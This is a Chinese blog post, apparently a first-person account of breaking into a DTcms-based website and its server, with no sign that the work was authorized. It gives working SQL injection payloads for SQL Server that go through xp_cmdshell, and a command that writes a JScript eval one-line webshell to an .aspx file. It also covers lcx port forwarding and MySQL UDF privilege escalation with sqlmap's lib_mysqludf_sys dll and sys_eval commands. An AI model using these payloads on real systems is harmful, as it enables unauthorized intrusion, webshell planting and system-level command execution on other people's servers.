记一次对DTcms的渗透|注入点到服务器的过程

Mr.Wu 9,387 0 正在检测是否收录...

目标是用的DTcms,百度翻烂了,各种翻都没找到一个漏洞,手工也没找到任何漏洞,正当我准备放弃时,谷歌给了我惊喜,于是这篇文章便诞生了。

发现注入点

本打算随便看看的,也就没跑二级域名,结果通过谷歌发现了一个二级,而且这个二级站居然是给目标站post数据的,最重要的是,这特么居然有注入!!

记一次对DTcms的渗透|注入点到服务器的过程


记一次对DTcms的渗透|注入点到服务器的过程

被防火墙拦截

记一次对DTcms的渗透|注入点到服务器的过程

一堆500,换了好多个IP,试了很多tamper的脚本,就是过不去。。。我等小菜,表示手注亚历山大~

记一次对DTcms的渗透|注入点到服务器的过程

丢穿山甲神器,跑出来了,然而么有卵用。。。除了知道是注入点,知道是dbo,知道数据库名以外,其他所有功能都没法用,这可就有点纠结了,好不容易找到个sa权限的注入,被疑是阿里云的防火墙给拦截了(没发现别的防火墙,就查IP看到是阿里云的机子)。。。这真心就不好玩了。

sql-shell妙用

在sqlmap中也是无法跑出数据库来,尝试交互shell也失败,想到是sa权限,不如试试sql?然后奇葩的事情就发生了。

记一次对DTcms的渗透|注入点到服务器的过程

sqlmap跑不出来数据库名,但是通过之前的穿山甲,我们是知道了数据库名的,然后百度下DTcms的数据库结构就知道表名了,于是乎,就有了上图的事情发生。

防火墙既然拦截了sql注入语句,那么我在sqlmap的sql-shell模式下执行数据库的数据查询,同样是在提交sql注入语句,然而他却没有拦截.....不知道是啥情况,有么有大牛科普下。(怀疑是我sqlmap的命令参数有问题,应该是拦截了某个地方,按理说sqlmap不应该被拦截的)

初试拿shell

记一次对DTcms的渗透|注入点到服务器的过程

既然绕过了,那么也就意味着我们有一个SA权限的注入点了,而通过这个权限拿webshell的方法,其实有很多种,让我们继续下去吧。。。边搞边写的。

  • 获取后台的密码,然后登陆后台拿shell。

记一次对DTcms的渗透|注入点到服务器的过程

然而幸运女神估计正在忙着化妆去上班吧,账号一堆,却没有一个适合我的。。。尝试替换一个试试,结果替换失败。

  • 直接执行xp_cmdshell

记一次对DTcms的渗透|注入点到服务器的过程
返回结果空,我记得曾经看到有文章说sqlmap看不到返回结果,不代表没有执行成功,所以试了下,然而只是自己一厢情愿,怀疑是没有开cmdshell,想执行语句尝试恢复,可是没有回显,又怎么知道什么错误呢。。。

  • 直接创建dba权限的用户,然后连接数据库提权服务器。然而依然失败。
  • 在执行命令的过程中,还是各种500,被拉IP,而且执行命令也一直是无回显,因此怀疑sqlmap抽风了。

手注获得shell

实在没辙的我,不得不现行百度找语句尝试手注(记性不好外加懒,因此一直没有努力把手注给彻底掌握),而在手注的过程中发现并没有什么防火墙,我勒个去,那我的sqlmap和穿山甲神器是被狗日了?

记一次对DTcms的渗透|注入点到服务器的过程

既然能手注,而且手注比sqlmap方便多了,那么也就好办了。

记一次对DTcms的渗透|注入点到服务器的过程

创建一个表,然后利用xp_cmdshell搜索D盘中的含有index.aspx的路径,并且把搜索结果写入到创建的tt_tmp表中,结果如上图,具体流程语句如下:

';CREATE TABLE tt_tmp (tmp1 varchar(8000));--  //第一步,创建临时表
';insert into tt_tmp(tmp1) exec master..xp_cmdshell 'for /r c:\ %i in (Newslist*.aspx) do @echo %i ';--  //第二步,用xp_cmdshell搜索并且把结果写入到表
' and 1=(select top 1 tmp1 from tt_tmp)and 'a'='a  // 第三步,查看结果

//具体请前往原文地址看
原文地址:https://www.cnblogs.com/backlion/p/6869595.html

这里或许有人会问,既然能执行xp_cmdshell,权限又那么大,为什么不直接添加system用户上服务器呢?
我也想啊,问题是直接执行xp_cmdshell的话,页面返回正常,也就是无回显,当然,也可以利用上面的方法,把回显写入到表中,然后查表内容来看,可是你们不觉得这样很麻烦吗?还不如getshell,反正是sa,getshell后想怎么玩就怎么玩(拿下shell后才发现此sa非彼sa)。

回到正题,刚才我们已经得到了绝对路径,那么就是写shell了:

';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\233.aspx' ;--

通过这条语句成功写入一句话,
记一次对DTcms的渗透|注入点到服务器的过程

上去第一时间是tasklist /svc   发现没别的,就AliYunDun.exe,淡淡的忧伤。

服务器提权

记一次对DTcms的渗透|注入点到服务器的过程

看到这个密码我当时就懵逼了,就在10分钟前,我还在考虑是否爆破下mssql的。。。。看来我还是太年轻了。。。

记一次对DTcms的渗透|注入点到服务器的过程

降权的sa,难怪之前我尝试加用户失败。。。这尼玛如果没拿shell,反而是用通过注入点用xp_cmdshell一条一条语句的查,一条一条的执行,这得搞到啥时候去?不得不说我真有先见之明。

记一次对DTcms的渗透|注入点到服务器的过程

发现tomcat,可惜居然没启动,尝试启动,一堆报错。。。发现开启mysql,获得root密码。

so,进程中没有发现其他的第三方可提权软件,启动项提权也不用想,没权限,shift替换也不用想,08的,而且无权限。那么在这种情况下,只有考虑exp和mysql提权了。

MYSQL提权

因为是aspx的,连接jdbc的mysql有些麻烦,所以只有用lcx将mysql转发出来然后提权。

记一次对DTcms的渗透|注入点到服务器的过程

此处感谢 阴天基友的指点,虽然当时因为提权的事情闹了点小矛盾,但在我们爆棚的基情下,小矛盾是无法阻止我们的基情的~

表示第一次手动导DLL提权,有几处不明白的地方,导致一直没有提下,顺便在此记录一下。

流程:

  • 解码sqlmap中的dll
python cloak.py -d -i /usr/share/sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_

函数:
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。

/*关于此命令,文章:http://blog.csdn.net/x728999452/article/details/52413974
*在这个步骤中,我曾犯了几个错误:
*1.没有解码sqlmap中的dll。
*2.dll中有固定的函数,当时我用的是上面函数以外的函数。导致一直提示[Err] 1124 - No paths allowed for shared library
*3.5.1大于或者等于5.1都必须插件目录,5.0或者以下任意环境变量目录.
*/
  • 上传解码后的dll到插件目录,然后注册函数
create function sys_eval returns string soname 'udf.dll'
select sys_eval("ver");

//然后可以直接通过mysql的命令工具来执行system权限的命令了
mysql -u root -ppassword -e "select sys_eval('whoami')" mysql

总结

至此本次渗透结束,虽然从昨晚一直折腾到下午2点,但是很高兴,因为从中学习到了很多。

  • 要善作笔记,记性差,就更要做笔记,很多东西,需要的时候百度真难找。
  • 计算机基础实在太差,以后不仅需要多看渗透资料,别的方面的也需要多了解研究。
  • 轮手注的重要性,工具终究只是工具,我不知道为什么sqlmap会老是被墙,这不是第一次出现这种工具无法注入,手工却无阻的情况了,手工,必须要彻底掌握。

打赏
发表评论 取消回复
表情 图片 链接 代码

分享
微信
微博
QQ